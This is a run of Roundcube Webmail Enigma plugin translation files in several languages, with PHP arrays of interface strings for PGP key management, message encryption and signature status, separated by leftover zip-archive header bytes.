$labels['supportencryption'] = 'Käytä viestien salausta ja allekirjoitusta';
$labels['supportsignatures'] = 'Käytä viestien allekirjoitusten vahvistusta';
$labels['supportdecryption'] = 'Ota käyttöön viestien salauksen purkaminen';
$labels['signdefault'] = 'Allekirjoita kaikki viestit oletuksena';
$labels['encryptdefault'] = 'Salaa kaikki viestit oletuksena';
$labels['attachpubkeydefault'] = 'Liitä julkinen PGP-avaimeni oletuksena';
$labels['passwordtime'] = 'Säilytä yksityisen avaimen salasanat';
$labels['nminutes'] = '$m minuutin ajan';
$labels['wholesession'] = 'koko istunnon ajan';
$labels['createkeys'] = 'Luo uusi avainpari';
$labels['importkeys'] = 'Tuo avaimia';
$labels['exportkeys'] = 'Vie avaimia';
$labels['keyactions'] = 'Avaintoiminnot...';
$labels['keyremove'] = 'Poista';
$labels['keydisable'] = 'Poista käytöstä';
$labels['keyrevoke'] = 'Kumoa';
$labels['keysend'] = 'Lähetä julkinen avain viestissä';
$labels['keychpass'] = 'Vaihda salasana';
$labels['keyadd'] = 'Lisää avain';
$labels['newkeyident'] = 'Identiteetti';
$labels['newkeypass'] = 'Salasana';
$labels['newkeypassconfirm'] = 'Vahvista salasana';
$labels['newkeytype'] = 'Avaimen tyyppi';
$labels['rsa2048'] = 'RSA – 2048 bittiä';
$labels['rsa4096'] = 'RSA – 4096 bittiä';
$labels['ecckeypair'] = 'ECC (elliptinen käyrä)';
$labels['keygenerating'] = 'Luodaan avaimia...';
$labels['encryptionoptions'] = 'Salausvalinnat...';
$labels['encryptmsg'] = 'Salaa tämä viesti';
$labels['signmsg'] = 'Lisää digitaalinen allekirjoitus tähän viestiin';
$labels['sendunencrypted'] = 'Lähetä salaamaton';
$labels['enterkeypasstitle'] = 'Anna tunnuslause';
$labels['enterkeypass'] = 'Käyttäjän $user salaisen avaimen ($keyid) avaamiseen tarvitaan salasana.';
$labels['attachpubkeymsg'] = 'Liitä julkinen avaimeni';
$labels['onlypubkeys'] = 'Vie vain julkiset avaimet';
$labels['withprivkeys'] = 'Vie salaiset avaimet';
$labels['findkey'] = 'Etsi avainpalvelimilta';
$labels['keyimportlabel'] = 'Tuo tiedostosta';
$labels['keyimportsearchlabel'] = 'Etsi avainpalvelimilta';
$labels['managekeys'] = 'Hallinnoi PGP-avaimia';
$labels['arialabelkeyexportoptions'] = 'Avaimien vientivalinnat';
$labels['arialabelkeysearchform'] = 'Avaimien hakulomake';
$labels['arialabelkeyoptions'] = 'Avaimen valinnat';
$messages['sigvalid'] = 'Vahvistettu allekirjoitus lähettäjältä $sender.';
$messages['sigvalidpartial'] = 'Vahvistettu allekirjoitus lähettäjältä $sender, mutta viestisisällön osaa ei allekirjoitettu. ';
$messages['siginvalid'] = 'Virheellinen allekirjoitus lähettäjältä $sender.';
$messages['sigunverified'] = 'Vahvistamaton allekirjoitus. Varmennetta ei ole vahvistettu. Varmenteen tunniste: $keyid.';
$messages['signokey'] = 'Vahvistamaton allekirjoitus. Julkista avainta ei löydy. Avaimen tunniste: $keyid.';
$messages['sigerror'] = 'Vahvistamaton allekirjoitus. Sisäinen virhe.';
$messages['decryptok'] = 'Viestin salaus purettu.';
$messages['decrypterror'] = 'Salauksen purkaminen epäonnistui.';
$messages['decryptnokey'] = 'Salauksen purkaminen epäonnistui. Yksityistä avainta ei löytynyt. Avaimen tunniste: $keyid.';
$messages['decryptnomdc'] = 'Purku ohitettu. Viestin eheyttä ei ole suojattu.';
$messages['decryptbadpass'] = 'Salauksen purkaminen epäonnistui. Väärä salasana.';
$messages['decryptnopass'] = 'Salauksen purkaminen epäonnistui. Avaimen salasana vaaditaan.';
$messages['decryptpartial'] = 'Viestin salaus purettiin, mutta osa viestisisällöstä ei ollut salattu.';
$messages['signerror'] = 'Allekirjoittaminen epäonnistui.';
$messages['signnokey'] = 'Allekirjoittaminen epäonnistui. Yksityistä avainta ei löytynyt.';
$messages['signbadpass'] = 'Allekirjoitus epäonnistui. Virheellinen salasana.';
$messages['signnopass'] = 'Allekirjoitus epäonnistui. Avaimen salasana vaaditaan.';
$messages['encrypterror'] = 'Salaaminen epäonnistui.';
$messages['encryptnokey'] = 'Salaaminen epäonnistui. Osoitteelle $email ei löytynyt julkista avainta.';
$messages['encryptnoprivkey'] = 'Salaus epäonnistui. Yksityistä avainta ei löytynyt.';
$messages['nokeysfound'] = 'Avaimia ei löytynyt';
$messages['keynotfound'] = 'Avainta ei löytynyt!';
$messages['keyopenerror'] = 'Avaintietojen noutaminen ei onnistu! Sisäinen virhe.';
$messages['keylisterror'] = 'Avainten listaaminen ei onnistu! Sisäinen virhe.';
$messages['keysimportfailed'] = 'Avaimen tuominen epäonnistui! Sisäinen virhe.';
$messages['keysimportsuccess'] = 'Avain tai avaimet tuotiin onnistuneesti. Tuotiin: $new, muuttumaton: $old.';
$messages['keyremoving'] = 'Poistetaan avaimia...';
$messages['keyremoveconfirm'] = 'Oletko varma että haluat poistaa valitut avaimet?';
$messages['keyremovesuccess'] = 'Avaimet poistettu onnistuneesti';
$messages['keyremoveerror'] = 'Avaimien poisto epäonnistui.';
$messages['formerror'] = 'Täytä lomake. Kaikki kentät ovat pakollisia!';
$messages['passwordsdiffer'] = 'Salasanat eivät täsmää!';
$messages['keygenerateerror'] = 'Avainparin luominen epäonnistui';
$messages['keygeneratesuccess'] = 'Avainpari luotiin ja tuotiin onnistuneesti.';
$messages['keygennosupport'] = 'Selaimesi ei tue salaustekniikkaa. Avainparin luominen ei onnistu!';
$messages['noidentselected'] = 'Sinun täytyy valita vähintään yksi identiteetti avaimelle!';
$messages['nonameident'] = 'Identiteetillä tulee olla käyttäjänimi määritettynä!';
$labels['newkeysize'] = 'Avaimen koko';
$labels['key2048'] = '2048 bittiä - oletus';
$labels['key4096'] = '4096 bittiä - turvallisempi';
PKh�\�cR��%plugins/enigma/localization/nb_NO.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Kryptering';
$labels['keyname'] = 'Navn';
$labels['keyid'] = 'Nøkkel ID';
$labels['typeencrypt'] = 'Krypter';
$labels['subkeyid'] = 'ID';
$labels['subkeycreated'] = 'Opprettet';
$labels['expiresnever'] = 'Aldri';
$labels['unknown'] = 'ukjent';
$labels['userid'] = 'ID';
$labels['createkeys'] = 'Lag et nytt nøkkelpar';
$labels['keychpass'] = 'Bytt passord';
$labels['newkeypass'] = 'Passord';
$labels['keyimportlabel'] = 'Importer fra fil';
PKh�\v94�� � %plugins/enigma/localization/sq_AL.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Fshehtëzim';
$labels['enigmacerts'] = 'Dëshmi S/MIME';
$labels['enigmakeys'] = 'Kyçe PGP';
$labels['keysfromto'] = 'Kyçat nga $from deri në $to nga $count gjithsej';
$labels['keyname'] = 'Emër';
$labels['keyid'] = 'ID Kyçi';
$labels['keyuserid'] = 'ID Përdoruesi';
$labels['keytype'] = 'Lloj kyçi';
$labels['fingerprint'] = 'Shenja gishtash';
$labels['subkeys'] = 'Nënkyç';
$labels['keyprops'] = 'Veti kyçi';
$labels['basicinfo'] = 'Informacion bazë';
$labels['userids'] = 'Përdorues Shtesë';
$labels['typepublickey'] = 'kyç publik';
$labels['typekeypair'] = 'çift kyçesh';
$labels['keyattfound'] = 'Ky mesazh përmban kyçin(et) PGP të bashkëngjitur.';
$labels['keyattimport'] = 'Importo kyç(e)';
$labels['typesign'] = 'Nënshkruaje';
$labels['typeencrypt'] = 'Fshehtëzoje';
$labels['typecert'] = 'Dëshmoje';
$labels['typeauth'] = 'Mirëfilltësim';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritëm';
$labels['subkeycreated'] = 'Krijuar më';
$labels['subkeyexpires'] = 'Skadon më';
$labels['subkeyusage'] = 'Përdorim';
$labels['expiresnever'] = 'kurrë';
$labels['unknown'] = 'i panjohur';
$labels['uservalid'] = 'I vlefshëm';
$labels['userid'] = 'ID';
$labels['valid'] = 'i vlefshëm';
$labels['supportencryption'] = 'Aktivizo fshehtëzim dhe nënshkrim mesazhesh';
$labels['supportsignatures'] = 'Aktivizo verifikim nënshkrimesh mesazhi';
$labels['supportdecryption'] = 'Aktivizo shfshehtëzim mesazhi';
$labels['signdefault'] = 'Si parazgjedhje, nënshkruaji krejt mesazhet';
$labels['encryptdefault'] = 'Si parazgjedhje, fshehtëzoji krejt mesazhet';
$labels['attachpubkeydefault'] = 'Bashkëngjite kyçin tim publik, si parazgjedhje';
$labels['passwordtime'] = 'Fjalëkalimet e kyçeve privatë mbaji për';
$labels['nminutes'] = '$m minutë(a)';
$labels['wholesession'] = 'krejt sesionin';
$labels['createkeys'] = 'Krijoni një çift të ri kyçesh';
$labels['importkeys'] = 'Importo kyç(e)';
$labels['exportkeys'] = 'Eksporto kyç(e)';
$labels['keyactions'] = 'Veprime kyçesh…';
$labels['keyremove'] = 'Hiqe';
$labels['keydisable'] = 'Çaktivizoje';
$labels['keyrevoke'] = 'Shfuqizoje';
$labels['keysend'] = 'Dërgo kyç publik në mesazh';
$labels['keychpass'] = 'Ndryshoni fjalëkalimin';
$labels['keyadd'] = 'Shtoni kyç';
$labels['newkeyident'] = 'Identitet';
$labels['newkeypass'] = 'Fjalëkalimi';
$labels['newkeypassconfirm'] = 'Ripohoni fjalëkalimin';
$labels['newkeytype'] = 'Lloj kyçi';
$labels['rsa2048'] = 'RSA - 2048 bite';
$labels['rsa4096'] = 'RSA - 4096 bite';
$labels['ecckeypair'] = 'ECC (Lakore Eliptike)';
$labels['keygenerating'] = 'Po prodhohen kyçe…';
$labels['encryptionoptions'] = 'Mundësi fshehtëzimi…';
$labels['encryptmsg'] = 'Fshehtëzoje këtë mesazh';
$labels['signmsg'] = 'Nënshkruaje në mënyrë dixhitale këtë mesazh';
$labels['sendunencrypted'] = 'Dërgoje të pafshehtëzuar';
$labels['enterkeypasstitle'] = 'Jepni frazëkalim kyçi';
$labels['enterkeypass'] = 'Frazëkalimi është i nevojshëm për të zhbllokuar kyçin e fshehtë ($keyid) për përdoruesin: $user.';
$labels['attachpubkeymsg'] = 'Bashkëngjite kyçin tim publik';
$labels['keyexportprompt'] = 'Doni të përfshihen kyçe të fshehtë te kartela e ruajtur e kyçeve OpenPGP?';
$labels['onlypubkeys'] = 'Eksporto Vetëm Kyçe Publikë';
$labels['withprivkeys'] = 'Eksporto Kyçe të Fshehtë';
$labels['findkey'] = 'Kërko në shërbyes kyçesh';
$labels['keyimportlabel'] = 'Importo prej kartele';
$labels['keyimportsearchlabel'] = 'Kërko në shërbyes kyçesh';
$labels['managekeys'] = 'Administroni kyçe PGP';
$labels['identitymatchingprivkeys'] = 'Keni të depozituar në vargun tuaj të kyçeve $nr kyçe private PGP me përputhje:';
$labels['identitynoprivkeys'] = 'Ky identitet dërguesi ende nuk ka ndonjë kyç privat të depozituar në vargun tuaj të kyçeve.';
$labels['arialabelkeyexportoptions'] = 'Mundësi eksportimi kyçesh';
$labels['arialabelkeysearchform'] = 'Formular kërkimi kyçesh';
$labels['arialabelkeyoptions'] = 'Mundësi kyçesh';
$messages['sigvalid'] = 'Nënshkrim nga $sender i verifikuar.';
$messages['sigvalidpartial'] = 'Nënshkrim nga $sender i verifikuar, por s’pati të nënshkruar pjesë lënde.';
$messages['siginvalid'] = 'Nënshkrim  i pavlefshëm nga $sender.';
$messages['sigunverified'] = 'Nënshkrim i paverifikuar. Dëshmia s’u verifikua. ID Dëshmie: $keyid.';
$messages['signokey'] = 'Nënshkrim i paverifikuar. S’u gjet kyç. ID Kyçi: $keyid.';
$messages['sigerror'] = 'Nënshkrim i paverifikuar. Gabim i brendshëm.';
$messages['decryptok'] = 'Mesazhi u shfshehtëzua.';
$messages['decrypterror'] = 'Shfshehtëzimi dështoi.';
$messages['decryptnokey'] = 'Shfshehtëzimi dështoi. S’u gjet kyç privat. ID Kyçi: $keyid.';
$messages['decryptnomdc'] = 'Shfshehtëzimi u anashkalua. Mesazhi është pa mbrojtje integriteti.';
$messages['decryptbadpass'] = 'Shfshehtëzimi dështoi. Fjalëkalim i pavlefshëm.';
$messages['decryptnopass'] = 'Shfshehtëzimi dështoi. Lypset fjalëkalim kyçi.';
$messages['decryptpartial'] = 'Mesazhi u shfshehtëzua, por një pjesë e lëndë s’u shfshehtëzua.';
$messages['signerror'] = 'Nënshkrimi dështoi.';
$messages['signnokey'] = 'Nënshkrimi dështoi. S’u gjet kyç privat.';
$messages['signbadpass'] = 'Hyrja dështoi. Fjalëkalim i pavlefshëm.';
$messages['signnopass'] = 'Nënshkrimi dështoi. Lypset fjalëkalim kyçi.';
$messages['encrypterror'] = 'Fshehtëzimi dështoi.';
$messages['encryptnokey'] = 'Fshehtëzimi dështoi. S’u gjet kyç publik për $email';
$messages['encryptnoprivkey'] = 'Fshehtëzimi dështoi. S’u gjet kyç privat.';
$messages['nokeysfound'] = 'S’u gjetën kyçe';
$messages['keynotfound'] = 'S’u gjet kyç!';
$messages['keyopenerror'] = 'S’arrihet të merren të dhëna kyçi! Gabim i brendshëm.';
$messages['keylisterror'] = 'S’arrihet të paraqiten kyçe! Gabim i brendshëm.';
$messages['keysimportfailed'] = 'S’arrihet të importohen kyç(e)! Gabim i brendshëm.';
$messages['keysimportsuccess'] = 'Kyçi(et) u importuan me sukses. Të importuar: $new, të pandryshuar: $old.';
$messages['keyremoving'] = 'Po hiqet kyçi(et)…';
$messages['keyremoveconfirm'] = 'Jeni i sigurt se doni të fshihet kyçi(et) i përzgjedhur?';
$messages['keyremovesuccess'] = 'Kyçi(et) u fshi me sukses';
$messages['keyremoveerror'] = 'S’arrihet të fshihen kyçin(et) e përzgjedhur?';
$messages['keyimporttext'] = 'Mund të importoni kyç(e) privatë dhe publikë ose nënshkrime shfuqizimesh në formatin ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Për kyçe publikë mund të kërkoni sipas identifikuesi kyçi, emri përdoruesi ose adrese email dhe mandej t’i importoni ata drejtpërsëdrejti.';
$messages['keystoragenotice'] = 'Krejt kyçet, publikë dhe privatë, depozitohen te shërbyesi.';
$messages['formerror'] = 'Ju lutemi, plotësoni formularin. Janë të domosdoshme krejt fushat!';
$messages['passwordsdiffer'] = 'Fjalëkalimet nuk përputhen!';
$messages['keygenerateerror'] = 'S’u arrit të prodhohej një çift kyçesh';
$messages['keygeneratesuccess'] = 'U prodhua dhe importua me sukses një çift kyçesh.';
$messages['keygennosupport'] = 'Shfletuesi juaj nuk e mbulon kriptografinë. S’arrihet të prodhohet çift kyçesh!';
$messages['noidentselected'] = 'Duhet të përzgjidhni të paktën një identitet për kyçin!';
$messages['nonameident'] = 'Identiteti duhet të ketë të përcaktuar një emër përdoruesi!';
$labels['newkeysize'] = 'Madhësi kyçi';
$labels['key2048'] = '2048 bite - parazgjedhje';
$labels['key4096'] = '4096 bite - më i sigurt';
PKh�\Ǥ�QQ%plugins/enigma/localization/et_EE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Krüpteerimine';
$labels['enigmacerts'] = 'S/MIME sertifikaadid';
$labels['enigmakeys'] = 'PGP võtmed';
$labels['keyname'] = 'Nimi';
$labels['keyid'] = 'Võtme ID';
$labels['keyuserid'] = 'Kasutaja ID';
$labels['keytype'] = 'Võtme tüüp';
$labels['fingerprint'] = 'Sõrmejälg';
$labels['keyprops'] = 'Võtme omadused';
$labels['userids'] = 'Lisakasutajad';
$labels['typepublickey'] = 'avalik võti';
$labels['typekeypair'] = 'võtme paar';
$labels['keyattimport'] = 'Impordi võti';
$labels['typesign'] = 'Allkirjasta';
$labels['typeencrypt'] = 'Krüpti';
$labels['typecert'] = 'Sertifitseeri';
$labels['typeauth'] = 'Autentimine';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritm';
$labels['subkeycreated'] = 'Loodud';
$labels['subkeyexpires'] = 'Aegub';
$labels['subkeyusage'] = 'Kasutus';
$labels['expiresnever'] = 'mitte kunagi';
$labels['unknown'] = 'teadmata';
$labels['uservalid'] = 'Kehtiv';
$labels['userid'] = 'ID';
$labels['valid'] = 'kehtiv';
$labels['nminutes'] = '$m minute(it)';
$labels['wholesession'] = 'kogu sessioon';
$labels['createkeys'] = 'Loo uus võtme paar';
$labels['importkeys'] = 'Impordi võti';
$labels['keyremove'] = 'Eemalda';
$labels['keydisable'] = 'Keela';
$labels['keychpass'] = 'Muuda parooli';
$labels['keyadd'] = 'Lisa võti';
$labels['newkeyident'] = 'Identiteet';
$labels['newkeypass'] = 'Parool';
$labels['newkeypassconfirm'] = 'Kinnita parooli';
$labels['newkeytype'] = 'Võtme tüüp';
$labels['rsa2048'] = 'RSA - 2048 bitti';
$labels['rsa4096'] = 'RSA - 4096 bitti';
$labels['ecckeypair'] = 'ECC (elliptiline kurv)';
$labels['keygenerating'] = 'Võtmete genereerimine...';
$labels['encryptionoptions'] = 'Krüpteerimise valikud...';
$labels['encryptmsg'] = 'Krüpteeri see sõnum';
$labels['attachpubkeymsg'] = 'Lisa minu avalik võti';
$labels['onlypubkeys'] = 'Ekspordi ainult avalikud võtmed';
$labels['withprivkeys'] = 'Ekspordi salavõtmed';
$labels['keyimportlabel'] = 'Impordi failist';
$labels['managekeys'] = 'Halda PGP võtmeid';
$labels['arialabelkeyoptions'] = 'Võtme valikud';
$messages['encrypterror'] = 'Krüpteerimine ebaõnnestus.';
$messages['nokeysfound'] = 'Võtmeid ei leitud';
$messages['keynotfound'] = 'Võtit ei leitud!';
$labels['newkeysize'] = 'Võtme suurus';
$labels['key2048'] = '2048 bitti - vailimisi';
$labels['key4096'] = '4096 bitti - turvalisem';
PKh�\��}��%plugins/enigma/localization/ku_IQ.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'ناو';
$labels['subkeycreated'] = 'دروستکرا';
$labels['unknown'] = 'نەناسراو';
$labels['keychpass'] = 'گۆڕینی تێپەڕەوشە';
$labels['newkeypass'] = 'تێپەڕەوشە';
PKh�\Ѷv��%plugins/enigma/localization/eu_ES.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Zifraketa';
$labels['enigmacerts'] = 'S/MIME ziurtagiriak';
$labels['enigmakeys'] = 'PGP gakoak';
$labels['keysfromto'] = '$count-eko $from-etik $to-rako gakoak';
$labels['keyname'] = 'Izena';
$labels['keyid'] = 'Gakoaren IDa';
$labels['keyuserid'] = 'Erabiltzailearen IDa';
$labels['keytype'] = 'Gako mota';
$labels['fingerprint'] = 'Hatz-marka';
$labels['subkeys'] = 'Azpigakoak';
$labels['keyprops'] = 'Gakoaren propietateak';
$labels['basicinfo'] = 'Oinarrizko informazioa';
$labels['userids'] = 'Erabiltzaile gehigarriak';
$labels['typepublickey'] = 'gako publikoa';
$labels['typekeypair'] = 'gako bikotea';
$labels['keyattfound'] = 'Mezu honek erantsita PGP gakoa(k) d(it)u';
$labels['keyattimport'] = 'Inportatu gakoa(k)';
$labels['typesign'] = 'Sinatu';
$labels['typeencrypt'] = 'Zifratu';
$labels['typecert'] = 'Ziurtatu';
$labels['typeauth'] = 'Egiaztapena';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmoa';
$labels['subkeycreated'] = 'Sortuta';
$labels['subkeyexpires'] = 'Iraungitze-data';
$labels['subkeyusage'] = 'Erabilera';
$labels['expiresnever'] = 'inoiz ez';
$labels['unknown'] = 'ezezaguna';
$labels['uservalid'] = 'Baliozkoa';
$labels['userid'] = 'ID';
$labels['valid'] = 'baliozkoa';
$labels['supportencryption'] = 'Gaitu mezuen zifratzea eta sinadura ';
$labels['supportsignatures'] = 'Gaitu mezuen sinaduren egiaztapena';
$labels['supportdecryption'] = 'Gaitu mezuen deszifratzea';
$labels['signdefault'] = 'Mezuen sinatzea lehenetsita';
$labels['encryptdefault'] = 'Mezuen zifratzea lehenetsita';
$labels['attachpubkeydefault'] = 'Nire PGP gako publikoa eranstea lehenetsita';
$labels['passwordtime'] = 'Mantendu gako pribatuen pasahitzak';
$labels['nminutes'] = '$m minutu';
$labels['wholesession'] = 'Saio osoa';
$labels['createkeys'] = 'Sortu gako pare berria';
$labels['importkeys'] = 'Inportatu gakoa(k)';
$labels['exportkeys'] = 'Esportatu gakoa(k)';
$labels['keyactions'] = 'Gakoaren ekintzak...';
$labels['keyremove'] = 'Kendu';
$labels['keydisable'] = 'Desgaitu';
$labels['keyrevoke'] = 'Errebokatu';
$labels['keysend'] = 'Bidali gako publikoa mezu batean';
$labels['keychpass'] = 'Aldatu pasahitza';
$labels['keyadd'] = 'Gehitu gakoa';
$labels['newkeyident'] = 'Identitatea';
$labels['newkeypass'] = 'Pasahitza';
$labels['newkeypassconfirm'] = 'Baieztatu pasahitza';
$labels['newkeytype'] = 'Gako mota';
$labels['rsa2048'] = 'RSA - 2048 bit';
$labels['rsa4096'] = 'RSA - 4096 bit';
$labels['ecckeypair'] = 'ECC (Kurba eliptikoa)';
$labels['keygenerating'] = 'Gakoak sortzen...';
$labels['encryptionoptions'] = 'Zifratze aukerak...';
$labels['encryptmsg'] = 'Zifratu mezu hau';
$labels['signmsg'] = 'Digitalki sinatu mezu hau';
$labels['sendunencrypted'] = 'Bidali zifratu gabe';
$labels['enterkeypasstitle'] = 'Sartu gakoaren pasaesaldia';
$labels['enterkeypass'] = 'Pasaesaldi bat behar da erabiltzaile honen gako sekretua ($keyid) desblokeatzeko: $user';
$labels['attachpubkeymsg'] = 'Erantsi nire gako publikoa';
$labels['keyexportprompt'] = 'Nahi al duzu gako sekretuak sartzea gordetako OpenPGP gakoen fitxategian?';
$labels['onlypubkeys'] = 'Esportatu bakarrik gako publikoak';
$labels['withprivkeys'] = 'Esportatu gako sekretuak';
$labels['findkey'] = 'Bilatu gako zerbitzari(et)an';
$labels['keyimportlabel'] = 'Inportatu fitxategitik';
$labels['keyimportsearchlabel'] = 'Bilatu gako zerbitzari(et)an';
$labels['managekeys'] = 'Kudeatu PGP gakoak';
$labels['identitymatchingprivkeys'] = ' Badaukazu bat datozen $nr PGP gako pribatu zure giltzarrian gordeta:';
$labels['identitynoprivkeys'] = 'Bidaltzaile honen identitateak ez dauka PGP gako pribaturik zure giltzarrian gordeta.';
$labels['arialabelkeyexportoptions'] = 'Gakoen esportazio aukerak';
$labels['arialabelkeysearchform'] = 'Gakoen bilaketa formularioa';
$labels['arialabelkeyoptions'] = 'Gako aukerak';
$messages['sigvalid'] = '$sender-en sinadura egiaztatuta';
$messages['sigvalidpartial'] = '$sender-en sinadura egiaztatuta, baina testu-gorputzaren zati bat ez dago sinatua.';
$messages['siginvalid'] = '$sender-en sinadura baliogabea.';
$messages['sigunverified'] = 'Egiaztatu gabeko sinadura. Ziurtagiria ez dago egiaztatuta. Ziurtagiriaren IDa: $Keyid.';
$messages['signokey'] = 'Egiaztatu gabeko sinadura. Ez da aurkitu gako publikoa. Gakoaren IDa: $keyid.';
$messages['sigerror'] = 'Egiaztatu gabeko sinadura. Barne errorea.';
$messages['decryptok'] = 'Mezua deszifratua.';
$messages['decrypterror'] = 'Deszifratzeak huts egin du.';
$messages['decryptnokey'] = 'Deszifratzeak  huts egin du. Ez da aurkitu gako pribatua. Gakoaren IDa:  $keyid.';
$messages['decryptnomdc'] = 'Deszifratzeak huts egin du. Mezua ez da bere osotasunean babestu.';
$messages['decryptbadpass'] = 'Deszifratzeak huts egin du. Baliogabeko pasahitza.';
$messages['decryptnopass'] = 'Deszifratzeak huts egin du. Pasahitz gakoa behar da.';
$messages['decryptpartial'] = 'Mezua deszifratua, baina testu gorputzaren zati bat ez zegoen zifratua.';
$messages['signerror'] = 'Sinadurak huts egin du.';
$messages['signnokey'] = 'Sinadurak huts egin du. Ez da aurkitu gako pribatua.';
$messages['signbadpass'] = 'Sinadurak huts egin du. Baliogabeko pasahitza.';
$messages['signnopass'] = 'Sinadurak huts egin du. Gako pasahitza behar da.';
$messages['encrypterror'] = 'Zifratzeak huts egin du.';
$messages['encryptnokey'] = 'Zifratzeak huts egin du. Ez da $email -ren gako publikoa aurkitu.';
$messages['encryptnoprivkey'] = 'Zifratzeak huts egin du. Gako pribatua ez da aurkitu.';
$messages['nokeysfound'] = 'Ez dira gakoak aurkitu';
$messages['keynotfound'] = 'Gakoa ez da aurkitu!';
$messages['keyopenerror'] = 'Ezin izan da gakoaren informazioa eskuratu! Barne errorea.';
$messages['keylisterror'] = 'Ezin izan dira gakoak zerrendatu! Barne errorea.';
$messages['keysimportfailed'] = 'Ezin izan d(ir)a gakoa(k) inportatu! Barne errorea.';
$messages['keysimportsuccess'] = 'Gakoa(k) ongi inportatu d(ir)a. Inportatua: $new, aldatu gabe: $old';
$messages['keyremoving'] = 'Gakoa(k) kentzen...';
$messages['keyremoveconfirm'] = 'Ziur hautatutako gakoa(k) ezabatu nahi d(it)uzula?';
$messages['keyremovesuccess'] = 'Gakoa(k) ongi ezabatu d(ir)a';
$messages['keyremoveerror'] = 'Ezin izan d(ir)a hautatutako gakoa(k) ezabatu.';
$messages['keyimporttext'] = 'Gako pribatu eta publikoa(k) edo errebokazio sinadurak ASCII-Armor formatuan inportatu ahal dituzu.';
$messages['keyimportsearchtext'] = 'Gako publikoak bilatzen ahal dituzu gako identifikatzaile, erabiltzaile-izena edo posta helbidearen bidez eta orduan zuzenean inportatu.';
$messages['keystoragenotice'] = 'Gako publiko eta pribatu guztiak zerbitzarian gordeta daude.';
$messages['formerror'] = 'Bete formularioa. Eremu guztiak bete behar dira!';
$messages['passwordsdiffer'] = 'Pasahitzak ez dira berdinak!';
$messages['keygenerateerror'] = 'Huts egin du gako bikotea sortzea.';
$messages['keygeneratesuccess'] = 'Gako bikotea ongi sortu eta inportatu da.';
$messages['keygennosupport'] = 'Zure nabigatzaileak ez du kriptografia onartzen. Ezin da gako bikotea sortu!';
$messages['noidentselected'] = 'Gutxienez identitate bat hautatu behar duzu gakoarentzat!';
$messages['nonameident'] = 'Identitateak erabiltzaile-izen bat definitua izan behar du!';
$labels['newkeysize'] = 'Gakoaren tamaina';
$labels['key2048'] = '2048 bit - lehenetsia';
$labels['key4096'] = '4096 bit - seguruagoa';
PKh�\��<"  %plugins/enigma/localization/tr_TR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Şifreleme';
$labels['enigmacerts'] = 'S/MIME sertifikaları';
$labels['enigmakeys'] = 'PGP anahtarları';
$labels['keysfromto'] = 'Anahtarlar $from - $to / $count';
$labels['keyname'] = 'Ad';
$labels['keyid'] = 'Anahtar kodu';
$labels['keyuserid'] = 'Kullanıcı kodu';
$labels['keytype'] = 'Anahtar türü';
$labels['fingerprint'] = 'Parmak izi';
$labels['subkeys'] = 'Alt anahtarlar';
$labels['keyprops'] = 'Anahtar özellikleri';
$labels['basicinfo'] = 'Temel bilgiler';
$labels['userids'] = 'Ek kullanıcılar';
$labels['typepublickey'] = 'Herkese açık anahtar';
$labels['typekeypair'] = 'Anahtar çifti';
$labels['keyattfound'] = 'İleti ekinde PGP anahtarları var.';
$labels['keyattimport'] = 'Anahtar(lar)ı içe aktar.';
$labels['typesign'] = 'İmza';
$labels['typeencrypt'] = 'Şifrele';
$labels['typecert'] = 'Belgele';
$labels['typeauth'] = 'Kimlik doğrulaması';
$labels['subkeyid'] = 'Kod';
$labels['subkeyalgo'] = 'Algoritma';
$labels['subkeycreated'] = 'Eklendi';
$labels['subkeyexpires'] = 'Geçerlilik süresi';
$labels['subkeyusage'] = 'Kullanım';
